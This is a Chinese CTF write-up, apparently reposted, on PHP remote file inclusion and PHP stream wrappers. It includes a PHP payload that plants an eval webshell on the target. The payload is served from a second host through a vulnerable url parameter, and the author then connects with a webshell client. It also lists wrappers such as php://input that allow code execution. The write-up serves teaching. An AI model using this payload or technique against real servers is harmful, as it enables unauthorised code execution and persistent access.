PHP RFI/伪协议

Posted chalan630

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP RFI/伪协议相关的知识,希望对你有一定的参考价值。

一道简单的题,学习远程文件包含与伪协议

题目描述:

技术图片

方法一:

使用url实现php远程文件包含

在服务器上构造1.txt

技术图片

<?php
$a = "<?php eval($_POST[‘123‘])?>";
$b = fopen("a.php","w") or die("123!");
fwrite($b,$a);
fclose($b);
?>

访问:

http://ip1/index.php?url=http://ip2/1.txt

技术图片

在根目录生成a.php

使用菜刀连接,获得flag。

技术图片

方法二:php 伪协议

PHP支持的伪协议如下:

file:// — 访问本地文件系统 必须是绝对路径
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)php://input 将post请求的数据当作php代码执行
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

在php.ini里有两个重要的参数allow_url_fopen和allow_url_include

allow_url_fopen:默认值是ON,允许url里的封装协议访问文件
allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件

技术图片

技术图片

以上是关于PHP RFI/伪协议的主要内容,如果未能解决你的问题,请参考以下文章

文件包含漏洞全面详解

web安全文件包含&LFI&RFI&协议利用

文件包含与PHP伪协议实战演练

文件包含与PHP伪协议实战演练

由一段代码引发的血案,md5绕过,foreach,php伪协议

rfi bypass